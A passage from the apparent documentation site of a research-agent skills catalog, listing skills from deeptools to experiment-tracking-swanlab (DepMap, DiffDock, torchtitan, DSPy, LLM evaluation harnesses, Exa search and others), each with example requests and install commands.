heatmap centered on transcription start sites, with the reads corrected for transposase insertion offset first. How should I do that?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill deeptools # GitHub CLI gh skill install KalarisLabs/research-agent-skills deeptools ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/deeptools/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # depmap — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/depmap Query the Cancer Dependency Map (DepMap) for cancer cell line gene dependency scores (CRISPR Chronos), drug sensitivity data, and gene effect profiles. # `depmap` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** CC-BY-4.0 · **Version:** 1.0 **Tags:** cancer research, gene dependency, CRISPR screens, drug sensitivity, oncology ## When to use it Query the Cancer Dependency Map (DepMap) for cancer cell line gene dependency scores (CRISPR Chronos), drug sensitivity data, and gene effect profiles. Use for identifying cancer-specific vulnerabilities, synthetic lethal interactions, and validating oncology drug targets. ## Example requests Ask your agent in plain language, for example: * *"Is KRAS a selective dependency in pancreatic lines? Need it from DepMap."* * *"I downloaded CRISPRGeneEffect.csv and OmicsSomaticMutationsMatrixDamaging.csv from the 24Q4 release. I want to find genes that are more essential in TP53-mutant lines than in wild-type lines, and I get a KeyError on 'ACH-000012' when I join with sample\_info.csv. Can you write the analysis and fix the join?"* * *"We have a candidate oncology target and want to know whether knocking it out kills only certain tumour cell lines, or whether it would hit essentially every cell and cause toxicity. We also want to know which genomic features predict response. What public data can we use and how should we analyse it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill depmap # GitHub CLI gh skill install KalarisLabs/research-agent-skills depmap ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Related * [`imaging-data-commons`](/research-agent-skills/skills/imaging-data-commons) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/depmap/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # dhdna-profiler — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/dhdna-profiler Extract cognitive patterns and thinking fingerprints from any text. # `dhdna-profiler` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 1.1 **Tags:** text analysis, cognitive style, writing analysis, profiling ## When to use it Extract cognitive patterns and thinking fingerprints from any text. Use this skill when the user wants to analyze how someone thinks, understand cognitive style, profile writing or speech patterns, compare thinking styles between people, asks "what's my thinking style", "analyze how this person reasons", "cognitive profile", "thinking pattern", "DHDNA", "digital DNA", or wants to understand the mind behind any text. Also trigger when the user provides text and wants deeper insight into the author's reasoning patterns, decision-making style, or cognitive signature. ## Example requests Ask your agent in plain language, for example: * *"what's the thinking style of the person who wrote this? "I keep going back and forth on this. On one hand the data says ship it, but I remember what happened with the 2019 launch, and honestly I'm not sure my read on the team is right.""* * *"I've saved two op-ed pieces as op\_ed\_senator\_A.txt and op\_ed\_senator\_B.txt (about 900 words each, both on the 2024 carbon tax debate). Can you profile each author's reasoning patterns and then tell me how their minds differ and where they'd clash in a debate? It's for a discourse-analysis seminar paper."* * *"I'm writing a memoir chapter and want to understand what my own writing reveals about how my mind works: whether I lean on logic or gut, how I handle emotion, that kind of thing. Could you look at how I've been talking to you in this session?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill dhdna-profiler # GitHub CLI gh skill install KalarisLabs/research-agent-skills dhdna-profiler ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`consciousness-council`](/research-agent-skills/skills/consciousness-council) * [`creative-thinking-for-research`](/research-agent-skills/skills/creative-thinking-for-research) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/dhdna-profiler/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # diffdock — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/diffdock DiffDock and DiffDock-L molecular docking. # `diffdock` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** MIT · **Version:** 1.3 · **Includes scripts** **Tags:** molecular docking, virtual screening, structural biology, drug discovery ## When to use it DiffDock and DiffDock-L molecular docking. Use for protein-small-molecule pose prediction from PDB or sequence plus SMILES/SDF/MOL2, batch docking, virtual screening, and pose-confidence interpretation. Not for binding affinity prediction. ## Example requests Ask your agent in plain language, for example: * *"Dock this SMILES CC(=O)Oc1ccccc1C(=O)O into my protein.pdb and give me the top poses."* * *"I have 240 compounds in screen\_hits.csv (columns: name, smiles) and a kinase structure 5ZZZ\_clean.pdb. I ran inference.py and got CUDA out of memory partway through the batch. How do I set this up as a batch run and get it to finish, and then rank the results?"* * *"I only have the amino acid sequence of my target, no crystal structure, and a small molecule I drew in an SDF. I want to know where on the protein it likely sits and how sure the model is about that, since I don't know the binding site."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill diffdock # GitHub CLI gh skill install KalarisLabs/research-agent-skills diffdock ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/diffdock/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # distributed-llm-pretraining-torchtitan — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/distributed-llm-pretraining-torchtitan Provides PyTorch-native distributed LLM pretraining using torchtitan with 4D parallelism (FSDP2, TP, PP, CP). # `distributed-llm-pretraining-torchtitan` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Model Architecture, Distributed Training, TorchTitan, FSDP2, Tensor Parallel, Pipeline Parallel, Context Parallel, Float8, Llama, Pretraining ## When to use it Provides PyTorch-native distributed LLM pretraining using torchtitan with 4D parallelism (FSDP2, TP, PP, CP). Use when pretraining Llama 3.1, DeepSeek V3, or custom models at scale from 8 to 512+ GPUs with Float8, torch.compile, and distributed checkpointing. ## Example requests Ask your agent in plain language, for example: * *"How do I set up torchtitan to pretrain a Llama 3.1 8B on one 8xH100 box?"* * *"I'm pretraining a 70B Llama on 32 nodes (256 H100s) with torchtitan under SLURM. My job OOMs in the first few steps with FSDP+TP, using train\_configs/llama3\_70b.toml. Async TP seems to use a lot of memory. What should I change, and how do I make sure the job resumes cleanly if a node dies?"* * *"I have a 512-GPU H100 cluster and want to train a 405B dense transformer from scratch using only PyTorch-native tooling, with no Megatron or DeepSpeed. The model needs to combine data, tensor, pipeline and sequence-length sharding, and I want FP8 to speed it up. What's the plan?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill distributed-llm-pretraining-torchtitan # GitHub CLI gh skill install KalarisLabs/research-agent-skills distributed-llm-pretraining-torchtitan ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`pytorch-fsdp2`](/research-agent-skills/skills/pytorch-fsdp2) * [`torchforge-rl-training`](/research-agent-skills/skills/torchforge-rl-training) * [`waypoint-bio`](/research-agent-skills/skills/waypoint-bio) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/distributed-llm-pretraining-torchtitan/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # dnanexus-integration — AI agent skill for lab automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/dnanexus-integration Build and operate reproducible genomics workloads on DNAnexus with the dx CLI, dxpy, apps/applets, native workflows, dxCompiler, and Nextflow. # `dnanexus-integration` **Category:** [lab-automation](/research-agent-skills/skills#lab-automation) · **License:** MIT · **Version:** 2.1 · **Includes scripts** **Tags:** genomics, cloud computing, bioinformatics pipelines, workflows, DNAnexus ## When to use it Build and operate reproducible genomics workloads on DNAnexus with the dx CLI, dxpy, apps/applets, native workflows, dxCompiler, and Nextflow. Use for DNAnexus data transfers, dxapp.json development, execution monitoring, workflow import, and project automation. ## Example requests Ask your agent in plain language, for example: * *"How do I download a whole folder from my DNAnexus project to my laptop?"* * *"I'm getting `DXExecDependencyError` when my applet starts on Ubuntu 24.04. My dxapp.json has execDepends with pip packages: pysam, pandas, and an old numpy pin. Built with `dx build -f`. Can you help me fix it and tidy up the config?"* * *"I have a WGS pipeline written in WDL for 40 samples and I want it to run on our cloud genomics platform where my data already lives under a project called cohort-2026. I need it to be launched in bulk, with the cost capped and a way to see which runs failed. Where do I start?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill dnanexus-integration # GitHub CLI gh skill install KalarisLabs/research-agent-skills dnanexus-integration ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `lab-automation` category with `/plugin install lab-automation@research-agent-skills`. ## Related * [`latchbio-integration`](/research-agent-skills/skills/latchbio-integration) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/dnanexus-integration/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # dspy — AI agent skill for llm applications Source: https://docs.kalarislabs.com/research-agent-skills/skills/dspy Builds and optimizes language model programs with DSPy (Stanford NLP), using Signatures, modules (Predict, ChainOfThought, ReAct, ProgramOfThought) and… # `dspy` **Category:** [llm-applications](/research-agent-skills/skills#llm-applications) · **License:** MIT · **Version:** 1.0.0 · **Includes scripts** **Tags:** Prompt Engineering, DSPy, Declarative Programming, RAG, Agents, Prompt Optimization, LM Programming, Stanford NLP, Automatic Optimization, Modular AI ## When to use it Builds and optimizes language model programs with DSPy (Stanford NLP), using Signatures, modules (Predict, ChainOfThought, ReAct, ProgramOfThought) and optimizers (BootstrapFewShot, MIPRO, BootstrapFinetune). Use when replacing hand-written prompts with declarative signatures, when automatically tuning prompts against training data and a metric, when building multi-stage RAG pipelines or ReAct agents, when building classifiers or structured-output programs, or when saving and evaluating optimized LM programs across providers such as Anthropic, OpenAI, or Ollama. Not for quick prototypes or simple chains; use manual prompting or LangChain instead. ## Example requests Ask your agent in plain language, for example: * *"How do I turn a dspy Signature into an optimized program?"* * *"I have a hand-written few-shot prompt in prompts/triage.txt that classifies 2,000 clinical notes in notes\_labeled.csv into 6 urgency classes with claude-sonnet. Accuracy is stuck around 71%. I'd like to port it to DSPy and use MIPROv2 to tune it, and I keep getting 'AttributeError: module dspy has no attribute OpenAI' when I configure the LM. Can you help?"* * *"I'm building a question-answering system over our lab's 5,000 protocol PDFs. The retrieval step then answer generation needs to be tuned automatically against about 150 question/answer pairs I wrote, so I don't have to keep rewriting prompts by hand every time we swap the underlying model. What's a good approach?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill dspy # GitHub CLI gh skill install KalarisLabs/research-agent-skills dspy ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `llm-applications` category with `/plugin install llm-applications@research-agent-skills`. ## Related * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/dspy/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # elsevier-cas — AI agent skill for journal formats Source: https://docs.kalarislabs.com/research-agent-skills/skills/elsevier-cas Prepare submissions to Elsevier journals (including The Lancet family style notes, Cell-independent Elsevier titles, and thousands of society journals) using… # `elsevier-cas` **Category:** [journal-formats](/research-agent-skills/skills#journal-formats) · **License:** MIT · **Version:** 1.0 **Tags:** Elsevier, elsarticle, CAS template, highlights, graphical abstract, CRediT, journal formatting ## When to use it Prepare submissions to Elsevier journals (including The Lancet family style notes, Cell-independent Elsevier titles, and thousands of society journals) using the elsarticle LaTeX class, the CAS single/double-column templates or Word, covering highlights, graphical abstracts, keywords, CRediT author statements, declarations of interest, generative-AI disclosure, data availability, reference styles per journal, Editorial Manager submission and "Your Paper Your Way" format-free first submission. Use when targeting an Elsevier journal or fixing elsarticle/CAS template issues. ## Example requests Ask your agent in plain language, for example: * *"Prepare my manuscript for an Elsevier journal using the CAS double-column template with highlights and a CRediT statement."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill elsevier-cas # GitHub CLI gh skill install KalarisLabs/research-agent-skills elsevier-cas ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `journal-formats` category with `/plugin install journal-formats@research-agent-skills`. ## Related * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) * [`bibtex-hygiene`](/research-agent-skills/skills/bibtex-hygiene) * [`cover-letter-to-editor`](/research-agent-skills/skills/cover-letter-to-editor) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/elsevier-cas/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # esm — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/esm Covers the EvolutionaryScale/Biohub `esm` Python SDK: ESM3 generative protein design (sequence, structure and function tracks, chain-of-thought), ESMC… # `esm` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.2 **Tags:** protein language models, protein design, structure prediction, protein embeddings ## When to use it Covers the EvolutionaryScale/Biohub `esm` Python SDK: ESM3 generative protein design (sequence, structure and function tracks, chain-of-thought), ESMC embeddings, inverse folding, ESMFold2 structure prediction, and hosted Forge/Biohub inference with ESM\_API\_KEY. Use when generating or completing proteins with ESM3, extracting ESMC embeddings for classification or similarity, folding a sequence or designing sequences from a structure, or choosing between esm3-open, esmc\_300m and Forge-hosted models. Use when batching async Forge or Biohub API calls. Not for other protein models such as AlphaFold or generic Hugging Face transformers usage. ## Example requests Ask your agent in plain language, for example: * *"How do I get per-residue embeddings for a protein sequence with ESMC locally?"* * *"I have a 3,000-sequence file, kinases.fasta, and I'm trying to classify them as active/inactive with logistic regression. I tried esm.sdk.client('esmc-600m-2024-12') in a loop and keep hitting rate-limit errors (429) after a few hundred calls. How should I restructure this so it finishes reliably?"* * *"I have a crystal structure of a de novo binder backbone (binder.pdb) and I want new amino acid sequences that would fold into it. Is there a language-model route for that, and how would I check the designs afterward?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill esm # GitHub CLI gh skill install KalarisLabs/research-agent-skills esm ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`sentence-transformers`](/research-agent-skills/skills/sentence-transformers) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/esm/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # etetoolkit — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/etetoolkit Analyze, manipulate, compare, annotate, and visualize phylogenetic or other hierarchical trees with ETE 4. # `etetoolkit` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** GPL-3.0-or-later · **Version:** 2.1 · **Includes scripts** **Tags:** phylogenetics, phylogenetic trees, Newick, evolutionary biology, bioinformatics ## When to use it Analyze, manipulate, compare, annotate, and visualize phylogenetic or other hierarchical trees with ETE 4. Use for Newick/Nexus tree I/O, topology edits and pattern matching, Robinson-Foulds comparisons, gene-tree evolutionary events and reconciliation, NCBI/GTDB taxonomy, SmartView exploration, and publication rendering. Do not use it to infer trees from raw sequences; align sequences and infer a tree first. ## Example requests Ask your agent in plain language, for example: * *"How do I load a Newick file in ete4 and prune it down to just 12 taxa?"* * *"I'm porting my lab's old ete3 script to ete4 and it now fails with 'NewickError' on gene\_tree.nwk, which has bootstrap support on internal nodes. The old code used Tree('gene\_tree.nwk', format=1) and `t & 'Hsap_1'`, then called node.is\_leaf() and t.get\_leaves(). Fix it and then label each internal node as duplication or speciation, where leaf names look like SPECIES\_geneID."* * *"I have two published trees for the same 40 bird species, one from mitochondrial genomes and one from nuclear loci. I want a number that tells me how different their branching patterns are, and I'd also like to know which splits they disagree on."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill etetoolkit # GitHub CLI gh skill install KalarisLabs/research-agent-skills etetoolkit ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`scikit-bio`](/research-agent-skills/skills/scikit-bio) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/etetoolkit/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # evaluating-code-models — AI agent skill for ml evaluation and safety Source: https://docs.kalarislabs.com/research-agent-skills/skills/evaluating-code-models Evaluates code generation models across HumanEval, MBPP, MultiPL-E, and 15+ benchmarks with pass@k metrics. # `evaluating-code-models` **Category:** [ml-evaluation-and-safety](/research-agent-skills/skills#ml-evaluation-and-safety) · **License:** MIT · **Version:** 1.0.0 **Tags:** Evaluation, Code Generation, HumanEval, MBPP, MultiPL-E, Pass\@k, BigCode, Benchmarking, Code Models ## When to use it Evaluates code generation models across HumanEval, MBPP, MultiPL-E, and 15+ benchmarks with pass\@k metrics. Use when benchmarking code models, comparing coding abilities, testing multi-language support, or measuring code generation quality. Industry standard from BigCode Project used by HuggingFace leaderboards. ## Example requests Ask your agent in plain language, for example: * *"Run HumanEval on my StarCoder2-7B checkpoint and give me pass\@1."* * *"I've got a fine-tuned model at ./ckpt/mycoder-13b and I need pass\@10 on HumanEval and MBPP for a paper table. I'm on a single A100 40GB and the last run hit CUDA out of memory with batch\_size 8. Published numbers for the base model are about 5 points higher than what I get. How do I set this up properly?"* * *"We want to know whether our code LLM is just as good at Rust, Go and Java as it is at Python. What's the best way to measure that and compare the languages fairly?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill evaluating-code-models # GitHub CLI gh skill install KalarisLabs/research-agent-skills evaluating-code-models ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-evaluation-and-safety` category with `/plugin install ml-evaluation-and-safety@research-agent-skills`. ## Related * [`evaluating-llms-harness`](/research-agent-skills/skills/evaluating-llms-harness) * [`nemo-evaluator-sdk`](/research-agent-skills/skills/nemo-evaluator-sdk) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/evaluating-code-models/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # evaluating-cosmos-policy — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/evaluating-cosmos-policy Evaluates NVIDIA Cosmos Policy on LIBERO and RoboCasa simulation environments. # `evaluating-cosmos-policy` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Cosmos Policy, VLA, Robotics, LIBERO, RoboCasa, Simulation, Evaluation, Profiling, EGL Rendering ## When to use it Evaluates NVIDIA Cosmos Policy on LIBERO and RoboCasa simulation environments. Use when setting up cosmos-policy for robot manipulation evaluation, running headless GPU evaluations with EGL rendering, or profiling inference latency on cluster or local GPU machines. ## Example requests Ask your agent in plain language, for example: * *"How do I run a quick cosmos policy eval on LIBERO?"* * *"I'm on a headless A100 node and trying to run run\_robocasa\_eval for Cosmos Policy. Kitchen object sampling gives NaNs and some asset lookups fail. I installed robocasa from the upstream PyPI/GitHub repo. What should I do?"* * *"I want to reproduce NVIDIA's published numbers for their video-model-based robot policy on the LIBERO suites on our cluster, starting from a fresh machine with nothing installed. Also, I'd like to know whether my reproduced average will match the reported one."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill evaluating-cosmos-policy # GitHub CLI gh skill install KalarisLabs/research-agent-skills evaluating-cosmos-policy ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`fine-tuning-openvla-oft`](/research-agent-skills/skills/fine-tuning-openvla-oft) * [`fine-tuning-serving-openpi`](/research-agent-skills/skills/fine-tuning-serving-openpi) * [`phoenix-observability`](/research-agent-skills/skills/phoenix-observability) * [`pufferlib`](/research-agent-skills/skills/pufferlib) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/evaluating-cosmos-policy/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # evaluating-llms-harness — AI agent skill for ml evaluation and safety Source: https://docs.kalarislabs.com/research-agent-skills/skills/evaluating-llms-harness Evaluates LLMs across 60+ academic benchmarks (MMLU, HumanEval, GSM8K, TruthfulQA, HellaSwag). # `evaluating-llms-harness` **Category:** [ml-evaluation-and-safety](/research-agent-skills/skills#ml-evaluation-and-safety) · **License:** MIT · **Version:** 1.0.0 **Tags:** Evaluation, LM Evaluation Harness, Benchmarking, MMLU, HumanEval, GSM8K, EleutherAI, Model Quality, Academic Benchmarks, Industry Standard ## When to use it Evaluates LLMs across 60+ academic benchmarks (MMLU, HumanEval, GSM8K, TruthfulQA, HellaSwag). Use when benchmarking model quality, comparing models, reporting academic results, or tracking training progress. Industry standard used by EleutherAI, HuggingFace, and major labs. Supports HuggingFace, vLLM, APIs. ## Example requests Ask your agent in plain language, for example: * *"run MMLU and GSM8K on my llama-3-8b checkpoint"* * *"I'm training a 1.3B model with a custom loop that saves checkpoints to ./ckpt/step\_\{N}. I want HellaSwag and PIQA numbers every 2000 steps so I can plot learning curves, but full MMLU takes too long. How should I set this up? Last time I got 'ValueError: Tasks not found: hellaswg' when I ran lm\_eval."* * *"We're deciding between Mistral-7B, Llama-3-8B and Qwen2-7B for an internal paper. I need a fair side-by-side on reasoning, truthfulness and common-sense tasks, and a table I can drop in the manuscript. Eval is slow on our single A100, so any speedup would help."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill evaluating-llms-harness # GitHub CLI gh skill install KalarisLabs/research-agent-skills evaluating-llms-harness ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-evaluation-and-safety` category with `/plugin install ml-evaluation-and-safety@research-agent-skills`. ## Related * [`evaluating-code-models`](/research-agent-skills/skills/evaluating-code-models) * [`hqq-quantization`](/research-agent-skills/skills/hqq-quantization) * [`nemo-evaluator-sdk`](/research-agent-skills/skills/nemo-evaluator-sdk) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/evaluating-llms-harness/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # evolving-ai-agents — AI agent skill for llm applications Source: https://docs.kalarislabs.com/research-agent-skills/skills/evolving-ai-agents Provides guidance for automatically evolving and optimizing AI agents across any domain using LLM-driven evolution algorithms. # `evolving-ai-agents` **Category:** [llm-applications](/research-agent-skills/skills#llm-applications) · **License:** MIT · **Version:** 1.0.0 **Tags:** Agent Evolution, Self-Improving Agents, Prompt Optimization, LLM, Benchmark Evaluation, Skill Discovery, Agentic AI ## When to use it Provides guidance for automatically evolving and optimizing AI agents across any domain using LLM-driven evolution algorithms. Use when building self-improving agents, optimizing agent prompts and skills against benchmarks, or implementing automated agent evaluation loops. ## Example requests Ask your agent in plain language, for example: * *"Can I automatically evolve my agent's prompts and skills against a benchmark?"* * *"I have a custom agent in ./my\_agent with a BaseAgent subclass and a 200-task internal QA dataset scored 0-1. I ran 3 evolution cycles and it reported converged=True, but the agent doesn't seem to use the evolved prompts/system.md. How do I fix both problems?"* * *"I want my coding assistant to get better at fixing GitHub issues over time without me hand-tuning anything. It should try tasks, look at where it failed, rewrite its own instructions and reusable procedures, and roll back changes that make things worse. How do I set that up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill evolving-ai-agents # GitHub CLI gh skill install KalarisLabs/research-agent-skills evolving-ai-agents ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `llm-applications` category with `/plugin install llm-applications@research-agent-skills`. ## Related * [`autogpt-agents`](/research-agent-skills/skills/autogpt-agents) * [`research-skill-creator`](/research-agent-skills/skills/research-skill-creator) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/evolving-ai-agents/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # exa-search — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/exa-search Web toolkit powered by Exa, tuned for scientific and technical content. Use this skill when the user needs to search the web or fetch/extract URL content. # `exa-search` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** web search, research search, scientific content, URL extraction ## When to use it Web toolkit powered by Exa, tuned for scientific and technical content. Use this skill when the user needs to search the web or fetch/extract URL content. Covers: web search (semantic lookups, research, current info — with optional research-paper category and academic domain filtering) and URL extraction (fetching pages, articles, academic PDFs in batch). Use this skill for web-related tasks when the user wants high-quality search or scholarly filtering via category=research paper. Triggers on requests to search, look up, fetch a page, or extract an article. ## Example requests Ask your agent in plain language, for example: * *"find recent papers on diffusion models for protein design"* * *"I'm writing the related-work section for my ICLR submission on sparse autoencoders for interpreting LLM activations. Find me peer-reviewed or arXiv sources from 2024 onward, and skip blog posts and news coverage. Show which search parameters you used."* * *"Here are 12 links to PDFs and journal pages from our lab's reading list. I need the full text of each pulled into one place so I can skim them for methods details."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill exa-search # GitHub CLI gh skill install KalarisLabs/research-agent-skills exa-search ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`open-notebook`](/research-agent-skills/skills/open-notebook) * [`parallel-web`](/research-agent-skills/skills/parallel-web) * [`research-lookup`](/research-agent-skills/skills/research-lookup) * [`nemo-curator`](/research-agent-skills/skills/nemo-curator) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/exa-search/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # experiment-tracking-swanlab — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/experiment-tracking-swanlab Tracks ML experiments with SwanLab, an open-source tool covering swanlab.init, config and metric logging, scalar charts, and media logging (images, audio… # `experiment-tracking-swanlab` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** MLOps, SwanLab, Experiment Tracking, Open Source, Visualization, PyTorch, Transformers, PyTorch Lightning, Fastai, Self-Hosted ## When to use it Tracks ML experiments with SwanLab, an open-source tool covering swanlab.init, config and metric logging, scalar charts, and media logging (images, audio, text, GIFs, point clouds, molecules), in cloud, local (mode="local" with swanlab\[dashboard]), or self-hosted 